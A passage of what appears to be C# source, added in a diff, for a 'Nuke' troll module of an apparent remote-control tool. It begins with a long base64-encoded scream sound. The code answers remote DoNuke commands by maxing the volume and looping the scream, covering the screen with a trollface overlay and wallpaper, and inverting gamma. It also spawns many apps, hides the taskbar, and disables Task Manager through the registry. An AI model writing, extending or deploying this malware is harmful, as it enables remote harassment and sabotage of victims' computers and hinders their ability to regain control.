AAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAEAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAP///wAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAEAAAAAAAEAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAP///wAAAP///wEAAP///wAAAP///wAAAP///wAAAP///wAAAP///wAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wEAAAAAAAAAAP///wEAAP///wEAAAAAAAEAAAAAAAEAAAAAAAEAAAAAAAEAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wEAAP///wEAAP///wEAAP///wAAAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAP///wEAAAAAAAEAAAAAAAEAAP///wEAAP///wEAAAAAAAEAAP///wEAAP///wEAAAAAAAAAAAEAAAEAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAP///wEAAP///wEAAP///wAAAP///wEAAP///wAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAP///wIAAP///wEAAP///wEAAAAAAAEAAP///wEAAP///wEAAAAAAAEAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAEAAP///wEAAP///wEAAP///wEAAP7//wEAAP///wAAAP///wEAAP///wAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAEAAP///wAAAP///wEAAP///wEAAAAAAAEAAP///wEAAP///wIAAP///wEAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAEAAAAAAAEAAAAAAAAAAP///wEAAP///wEAAP///wAAAP///wAAAP///wAAAP///wAAAP///wAAAAAAAAAAAAAAAP///wAAAP///wEAAAAAAAEAAP///wEAAP///wEAAP///wEAAP///wEAAP///wEAAP///wEAAAAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAEAAAAAAAEAAAAAAAEAAP///wEAAP///wEAAP///wEAAP///wEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAP///wEAAP///wAAAP///wAAAAAAAAEAAP///wEAAP///wAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAEAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAP///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAP///////wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAEAAAAAAP///wEAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAP///wAAAAEAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAEAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAEAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAP///wAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAP///wAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAEAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAP///wAAAAAAAP///wAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJlZ25cAAAAAQAAAAAAAAAqAAAAcKJozc1JxCYAAAAAAAAAAICcAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHzExMDgwNTA0OHdtbnNjcm0wMWcoPTAxcDE1MCUpc251bWlkGAAAAAAAAAAqAAAAcKJozc1JxCYAAAAAAAAAAA=="); + + // ── Apps to spam ───────────────────────────────────────────────────── + // exe= launched directly, uri= launched via shell (UWP / protocol handlers) + private static readonly string[] _exeApps = { + "notepad.exe", "notepad.exe", "notepad.exe", "notepad.exe", // weighted heavy + "mspaint.exe", "mspaint.exe", "mspaint.exe", + "write.exe", "write.exe", + "cmd.exe", "cmd.exe", + "calc.exe", + "charmap.exe", + "osk.exe", + "snippingtool.exe", + "magnify.exe", + "narrator.exe", + "control.exe", + "regedit.exe", + "msinfo32.exe", + "winver.exe", + "explorer.exe", + "taskmgr.exe", + }; + private static readonly string[] _uriApps = { + "ms-windows-store:", + "calculator:", + "ms-paint:", + "ms-photos:", + "ms-settings:", + "ms-settings-wifi:", + "ms-settings-bluetooth:", + "ms-actioncenter:", + "ms-cortana:", + "xbox:", + "zune:", + "ms-clock:", + }; + + // ── Gamma ramps ────────────────────────────────────────────────────── + private static RAMP BuildRamp(bool inv) + { + var r = new RAMP { R = new ushort[256], G = new ushort[256], B = new ushort[256] }; + for (int i = 0; i < 256; i++) { ushort v = (ushort)(inv ? (255-i)*257 : i*257); r.R[i] = r.G[i] = r.B[i] = v; } + return r; + } + private static RAMP _invertRamp = BuildRamp(true); + private static RAMP _normalRamp = BuildRamp(false); + + // ── State ──────────────────────────────────────────────────────────── + private volatile bool _running; + private Thread _flashThread; + private Thread _overlayThread; + private TrollOverlay _overlay; + private string _screamTmp; + private string _wallTmp; + private RAMP _savedRamp; + private bool _colorFilterActive; + private readonly List _spawnThreads = new List(); + + // ── IMessageProcessor ──────────────────────────────────────────────── + public bool CanExecute(IMessage message) => message is DoNuke || message is DoStopNuke; + public bool CanExecuteFrom(ISender sender) => true; + public void Execute(ISender sender, IMessage message) + { + if (message is DoNuke) Start(); + else if (message is DoStopNuke) Stop(); + } + + // ── Color filter toggle (Win+Ctrl+C) ───────────────────────────────── + private void SetupColorFilter() + { + try + { + Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "FilterType", 1, RegistryValueKind.DWord); + Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "HotkeyEnabled", 1, RegistryValueKind.DWord); + var cur = Registry.GetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "Active", 0); + _colorFilterActive = cur is int ci && ci == 1; + if (_colorFilterActive) SendColorFilterToggle(); + } + catch { } + } + private void SendColorFilterToggle() + { + var inp = new INPUT[6]; + inp[0].type = 1; inp[0].ki.wVk = 0xA2; + inp[1].type = 1; inp[1].ki.wVk = 0x5B; inp[1].ki.dwFlags = KEYEVENTF_EXTENDEDKEY; + inp[2].type = 1; inp[2].ki.wVk = 0x43; + inp[3].type = 1; inp[3].ki.wVk = 0x43; inp[3].ki.dwFlags = KEYEVENTF_KEYUP; + inp[4].type = 1; inp[4].ki.wVk = 0x5B; inp[4].ki.dwFlags = KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP; + inp[5].type = 1; inp[5].ki.wVk = 0xA2; inp[5].ki.dwFlags = KEYEVENTF_KEYUP; + SendInput(6, inp, Marshal.SizeOf(typeof(INPUT))); + _colorFilterActive = !_colorFilterActive; + } + private void EnsureColorFilterOff() { if (_colorFilterActive) { SendColorFilterToggle(); Thread.Sleep(80); } } + + // ── Start ──────────────────────────────────────────────────────────── + private void Start() + { + if (_running) return; + _running = true; + + // Save gamma + IntPtr hdc0 = GetDC(IntPtr.Zero); + GetDeviceGammaRamp(hdc0, ref _savedRamp); + ReleaseDC(IntPtr.Zero, hdc0); + + SetupColorFilter(); + + // Scream at max volume + waveOutSetVolume(IntPtr.Zero, 0xFFFFFFFF); + _screamTmp = Path.Combine(Path.GetTempPath(), "nk_scream.wav"); + File.WriteAllBytes(_screamTmp, ScreamBytes); + PlaySound(_screamTmp, IntPtr.Zero, SND_FILENAME | SND_ASYNC | SND_LOOP); + + // Overlay + _overlayThread = new Thread(() => + { + while (_running) + { + try { Application.Run(_overlay = new TrollOverlay(TrollfaceBytes, ThinkFastBytes)); } catch { } + if (_running) Thread.Sleep(100); + } + }) { IsBackground = true }; + _overlayThread.SetApartmentState(ApartmentState.STA); + _overlayThread.Start(); + + // Wallpaper + ThreadPool.QueueUserWorkItem(_ => SetTrollfaceWallpaper()); + + // System chaos setup + IntPtr tb = FindWindow("Shell_TrayWnd", null); + if (tb != IntPtr.Zero) ShowWindow(tb, SW_HIDE); + try { Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 1, RegistryValueKind.DWord); } catch { } + 